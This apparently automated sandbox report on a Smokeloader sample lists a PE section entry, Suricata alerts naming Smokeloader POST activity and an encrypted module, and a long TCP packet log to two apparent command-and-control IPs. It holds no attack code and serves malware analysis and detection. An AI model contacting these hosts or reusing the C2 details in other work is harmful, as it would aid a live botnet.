Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x9194	0x9200	918930a2d38bb1ceb8f83a1f60c1f784	False	0.771564640410959	data	7.0440254923492915	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-06T21:26:02.042526+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.8	49742	198.54.117.242	80	TCP
2024-10-06T21:26:02.042526+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.8	49730	194.87.189.87	80	TCP
2024-10-06T21:26:02.042526+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.8	49738	194.87.189.87	80	TCP
2024-10-06T21:26:02.042526+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.8	49714	194.87.189.87	80	TCP
2024-10-06T21:26:02.042526+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.8	49718	198.54.117.242	80	TCP
2024-10-06T21:26:02.042526+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.8	49747	194.87.189.87	80	TCP
2024-10-06T21:27:36.683173+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.8	49734	198.54.117.242	80	TCP
2024-10-06T21:27:37.689520+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.8	49746	194.87.189.87	80	TCP
2024-10-06T21:27:37.879552+0200	2829848	ETPRO MALWARE SmokeLoader encrypted module (3)	2	194.87.189.87	80	192.168.2.8	49746	TCP
2024-10-06T21:28:16.092832+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.8	49748	194.87.189.87	80	TCP
2024-10-06T21:28:56.074082+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.8	49749	194.87.189.87	80	TCP
2024-10-06T21:29:11.964748+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.8	49750	194.87.189.87	80	TCP
2024-10-06T21:29:30.230373+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.8	49751	194.87.189.87	80	TCP
2024-10-06T21:29:49.168031+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.8	49752	194.87.189.87	80	TCP
2024-10-06T21:30:06.043036+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.8	49753	194.87.189.87	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 6, 2024 21:26:30.206715107 CEST	49714	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:26:30.211478949 CEST	80	49714	194.87.189.87	192.168.2.8
Oct 6, 2024 21:26:30.211853981 CEST	49714	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:26:30.211853981 CEST	49714	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:26:30.211853981 CEST	49714	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:26:30.216645956 CEST	80	49714	194.87.189.87	192.168.2.8
Oct 6, 2024 21:26:30.216753960 CEST	80	49714	194.87.189.87	192.168.2.8
Oct 6, 2024 21:26:30.216866016 CEST	80	49714	194.87.189.87	192.168.2.8
Oct 6, 2024 21:26:30.220467091 CEST	49715	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:26:30.220493078 CEST	443	49715	194.87.189.87	192.168.2.8
Oct 6, 2024 21:26:30.220693111 CEST	49715	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:26:30.221026897 CEST	49715	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:26:30.221044064 CEST	443	49715	194.87.189.87	192.168.2.8
Oct 6, 2024 21:26:30.242089987 CEST	443	49715	194.87.189.87	192.168.2.8
Oct 6, 2024 21:26:30.242296934 CEST	49715	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:26:30.242296934 CEST	49715	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:26:30.242795944 CEST	49716	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:26:30.242842913 CEST	443	49716	194.87.189.87	192.168.2.8
Oct 6, 2024 21:26:30.242923975 CEST	49716	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:26:30.243357897 CEST	49716	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:26:30.243377924 CEST	443	49716	194.87.189.87	192.168.2.8
Oct 6, 2024 21:26:30.263519049 CEST	443	49716	194.87.189.87	192.168.2.8
Oct 6, 2024 21:26:30.263633013 CEST	49716	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:26:30.263700962 CEST	49716	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:26:30.263720036 CEST	443	49716	194.87.189.87	192.168.2.8
Oct 6, 2024 21:26:30.264183998 CEST	49717	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:26:30.264215946 CEST	443	49717	194.87.189.87	192.168.2.8
Oct 6, 2024 21:26:30.268971920 CEST	49717	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:26:30.269850016 CEST	49717	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:26:30.269870043 CEST	443	49717	194.87.189.87	192.168.2.8
Oct 6, 2024 21:26:30.270111084 CEST	49717	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:26:30.537875891 CEST	49718	80	192.168.2.8	198.54.117.242
Oct 6, 2024 21:26:30.542923927 CEST	80	49718	198.54.117.242	192.168.2.8
Oct 6, 2024 21:26:30.543009996 CEST	49718	80	192.168.2.8	198.54.117.242
Oct 6, 2024 21:26:30.543196917 CEST	49718	80	192.168.2.8	198.54.117.242
Oct 6, 2024 21:26:30.543196917 CEST	49718	80	192.168.2.8	198.54.117.242
Oct 6, 2024 21:26:30.548110008 CEST	80	49718	198.54.117.242	192.168.2.8
Oct 6, 2024 21:26:30.548338890 CEST	80	49718	198.54.117.242	192.168.2.8
Oct 6, 2024 21:26:30.548448086 CEST	80	49718	198.54.117.242	192.168.2.8
Oct 6, 2024 21:26:30.551330090 CEST	49719	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:26:30.551368952 CEST	443	49719	198.54.117.242	192.168.2.8
Oct 6, 2024 21:26:30.551436901 CEST	49719	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:26:30.551748037 CEST	49719	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:26:30.551769018 CEST	443	49719	198.54.117.242	192.168.2.8
Oct 6, 2024 21:26:30.557981968 CEST	49715	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:26:30.558001995 CEST	443	49715	194.87.189.87	192.168.2.8
Oct 6, 2024 21:26:30.579575062 CEST	443	49719	198.54.117.242	192.168.2.8
Oct 6, 2024 21:26:30.579646111 CEST	49719	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:26:30.579684019 CEST	49719	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:26:30.579700947 CEST	443	49719	198.54.117.242	192.168.2.8
Oct 6, 2024 21:26:30.580177069 CEST	49720	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:26:30.580188036 CEST	443	49720	198.54.117.242	192.168.2.8
Oct 6, 2024 21:26:30.580244064 CEST	49720	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:26:30.580823898 CEST	49720	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:26:30.580832958 CEST	443	49720	198.54.117.242	192.168.2.8
Oct 6, 2024 21:26:30.592109919 CEST	443	49720	198.54.117.242	192.168.2.8
Oct 6, 2024 21:26:30.594810963 CEST	49721	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:26:30.594844103 CEST	443	49721	198.54.117.242	192.168.2.8
Oct 6, 2024 21:26:30.594921112 CEST	49721	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:26:30.595076084 CEST	49721	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:26:30.595138073 CEST	443	49721	198.54.117.242	192.168.2.8
Oct 6, 2024 21:26:30.595226049 CEST	49721	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:35.636430025 CEST	49730	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:35.783150911 CEST	80	49730	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:35.783216953 CEST	49730	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:35.783380985 CEST	49730	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:35.783402920 CEST	49730	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:35.789840937 CEST	80	49730	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:35.789850950 CEST	80	49730	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:35.790572882 CEST	80	49730	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:35.801904917 CEST	49731	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:35.801929951 CEST	443	49731	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:35.801986933 CEST	49731	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:35.802416086 CEST	49731	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:35.802432060 CEST	443	49731	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:35.819689035 CEST	443	49731	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:35.820141077 CEST	49732	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:35.820163965 CEST	443	49732	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:35.820219994 CEST	49732	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:35.820691109 CEST	49732	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:35.820708036 CEST	443	49732	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:35.831186056 CEST	443	49732	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:35.831588984 CEST	49733	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:35.831621885 CEST	443	49733	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:35.831674099 CEST	49733	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:35.831979036 CEST	49733	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:35.832011938 CEST	443	49733	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:35.832053900 CEST	49733	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:36.069386959 CEST	49734	80	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.074251890 CEST	80	49734	198.54.117.242	192.168.2.8
Oct 6, 2024 21:27:36.074424982 CEST	49734	80	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.074981928 CEST	49734	80	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.075068951 CEST	49734	80	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.079790115 CEST	80	49734	198.54.117.242	192.168.2.8
Oct 6, 2024 21:27:36.079849958 CEST	80	49734	198.54.117.242	192.168.2.8
Oct 6, 2024 21:27:36.642191887 CEST	80	49734	198.54.117.242	192.168.2.8
Oct 6, 2024 21:27:36.647181034 CEST	49735	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.647244930 CEST	443	49735	198.54.117.242	192.168.2.8
Oct 6, 2024 21:27:36.647794962 CEST	49735	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.648139000 CEST	49735	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.648152113 CEST	443	49735	198.54.117.242	192.168.2.8
Oct 6, 2024 21:27:36.668428898 CEST	443	49735	198.54.117.242	192.168.2.8
Oct 6, 2024 21:27:36.668494940 CEST	49735	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.668538094 CEST	49735	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.668550968 CEST	443	49735	198.54.117.242	192.168.2.8
Oct 6, 2024 21:27:36.669302940 CEST	49736	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.669343948 CEST	443	49736	198.54.117.242	192.168.2.8
Oct 6, 2024 21:27:36.671288967 CEST	49736	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.673666954 CEST	49736	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.673687935 CEST	443	49736	198.54.117.242	192.168.2.8
Oct 6, 2024 21:27:36.683172941 CEST	49734	80	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.684663057 CEST	443	49736	198.54.117.242	192.168.2.8
Oct 6, 2024 21:27:36.685252905 CEST	49737	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.685286045 CEST	443	49737	198.54.117.242	192.168.2.8
Oct 6, 2024 21:27:36.685338020 CEST	49737	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.685992956 CEST	49737	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.686029911 CEST	443	49737	198.54.117.242	192.168.2.8
Oct 6, 2024 21:27:36.686630964 CEST	49737	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.707792044 CEST	49738	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:36.712644100 CEST	80	49738	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:36.712712049 CEST	49738	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:36.712831020 CEST	49738	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:36.712853909 CEST	49738	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:36.717600107 CEST	80	49738	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:36.717632055 CEST	80	49738	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:36.717751026 CEST	80	49738	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:36.739427090 CEST	49739	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:36.739465952 CEST	443	49739	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:36.739659071 CEST	49739	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:36.740087986 CEST	49739	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:36.740102053 CEST	443	49739	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:36.761718035 CEST	443	49739	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:36.761847019 CEST	49739	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:36.761847019 CEST	49739	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:36.762095928 CEST	49740	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:36.762119055 CEST	443	49740	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:36.762197971 CEST	49740	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:36.762497902 CEST	49740	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:36.762511969 CEST	443	49740	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:36.773705959 CEST	443	49740	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:36.774041891 CEST	49741	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:36.774066925 CEST	443	49741	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:36.774120092 CEST	49741	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:36.774277925 CEST	49741	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:36.774374008 CEST	443	49741	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:36.774544954 CEST	49741	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:36.776262045 CEST	49734	80	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.777013063 CEST	49742	80	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.782090902 CEST	80	49742	198.54.117.242	192.168.2.8
Oct 6, 2024 21:27:36.782123089 CEST	80	49734	198.54.117.242	192.168.2.8
Oct 6, 2024 21:27:36.782206059 CEST	49734	80	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.782340050 CEST	49742	80	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.783082962 CEST	49742	80	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.783169031 CEST	49742	80	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.787662029 CEST	80	49742	198.54.117.242	192.168.2.8
Oct 6, 2024 21:27:36.787949085 CEST	80	49742	198.54.117.242	192.168.2.8
Oct 6, 2024 21:27:36.787997961 CEST	49742	80	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.788054943 CEST	49742	80	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.788077116 CEST	80	49742	198.54.117.242	192.168.2.8
Oct 6, 2024 21:27:36.790358067 CEST	49743	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.790378094 CEST	443	49743	198.54.117.242	192.168.2.8
Oct 6, 2024 21:27:36.790441036 CEST	49743	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.790721893 CEST	49743	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.790735960 CEST	443	49743	198.54.117.242	192.168.2.8
Oct 6, 2024 21:27:36.793024063 CEST	80	49742	198.54.117.242	192.168.2.8
Oct 6, 2024 21:27:36.793054104 CEST	80	49742	198.54.117.242	192.168.2.8
Oct 6, 2024 21:27:36.801812887 CEST	443	49743	198.54.117.242	192.168.2.8
Oct 6, 2024 21:27:36.802324057 CEST	49744	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.802345991 CEST	443	49744	198.54.117.242	192.168.2.8
Oct 6, 2024 21:27:36.802881956 CEST	49744	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.803231001 CEST	49744	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.803242922 CEST	443	49744	198.54.117.242	192.168.2.8
Oct 6, 2024 21:27:36.814141989 CEST	443	49744	198.54.117.242	192.168.2.8
Oct 6, 2024 21:27:36.814542055 CEST	49745	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.814594984 CEST	443	49745	198.54.117.242	192.168.2.8
Oct 6, 2024 21:27:36.815119028 CEST	49745	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.815339088 CEST	49745	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.815391064 CEST	443	49745	198.54.117.242	192.168.2.8
Oct 6, 2024 21:27:36.815459013 CEST	49745	443	192.168.2.8	198.54.117.242
Oct 6, 2024 21:27:36.993954897 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:36.999541998 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:36.999619961 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:36.999839067 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:36.999982119 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.004731894 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.004856110 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.073827028 CEST	49739	443	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.073868036 CEST	443	49739	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.689305067 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.689363956 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.689408064 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.689439058 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.689492941 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.689519882 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.689529896 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.689538002 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.689564943 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.689587116 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.689599991 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.689634085 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.689688921 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.775978088 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.776026011 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.776094913 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.779608011 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.779670000 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.779700994 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.779742002 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.782963991 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.782999992 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.783036947 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.783057928 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.783077002 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.789320946 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.789375067 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.789416075 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.789450884 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.795767069 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.795852900 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.795886040 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.795938969 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.795952082 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.801888943 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.801935911 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.801976919 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.802020073 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.808279037 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.808305025 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.808331966 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.808402061 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.808419943 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.814425945 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.814454079 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.814481020 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.814502954 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.821023941 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.821057081 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.821093082 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.821129084 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.821175098 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.827163935 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.827218056 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.827308893 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.866238117 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.866275072 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.866312027 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.866343021 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.866398096 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.866420984 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.870043993 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.870079994 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.870115995 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.870142937 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.873466015 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.873517036 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.873552084 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.873583078 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.873626947 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.879551888 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.879582882 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.879650116 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.879663944 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.886149883 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.886188984 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.886214018 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.886228085 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.886297941 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.892332077 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.892393112 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.892427921 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.892479897 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.898803949 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.898859978 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.898864031 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.898895979 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.898956060 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.904952049 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.904985905 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.905040026 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.905071974 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.911134958 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.911164045 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.911175013 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.911231041 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.911258936 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.917670965 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.917685032 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.917699099 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.917737961 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.923244953 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.923258066 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.923270941 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.923306942 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.923326969 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.928571939 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.928585052 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.928596973 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.928639889 CEST	49746	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:27:37.933641911 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.933686972 CEST	80	49746	194.87.189.87	192.168.2.8
Oct 6, 2024 21:27:37.933696985 CEST	80	49746	194.87.189.87	192.168.2.8
